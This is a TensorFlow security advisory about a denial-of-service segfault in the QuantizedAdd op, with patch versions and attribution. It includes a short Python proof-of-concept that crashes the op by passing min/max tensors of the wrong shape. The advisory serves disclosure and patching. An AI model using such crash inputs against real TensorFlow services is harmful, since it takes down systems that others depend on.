TensorFlow vulnerable to segfault in `QuantizedAdd`

Impact

If QuantizedAdd is given min_input or max_input tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack.

import tensorflow as tf

Toutput = tf.qint32
x = tf.constant(140, shape=[1], dtype=tf.quint8)
y = tf.constant(26, shape=[10], dtype=tf.quint8)
min_x = tf.constant([], shape=[0], dtype=tf.float32)
max_x = tf.constant(0, shape=[], dtype=tf.float32)
min_y = tf.constant(0, shape=[], dtype=tf.float32)
max_y = tf.constant(0, shape=[], dtype=tf.float32)
tf.raw_ops.QuantizedAdd(x=x, y=y, min_x=min_x, max_x=max_x, min_y=min_y, max_y=max_y, Toutput=Toutput)

Patches

We have patched the issue in GitHub commit 49b3824d83af706df0ad07e4e677d88659756d89.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.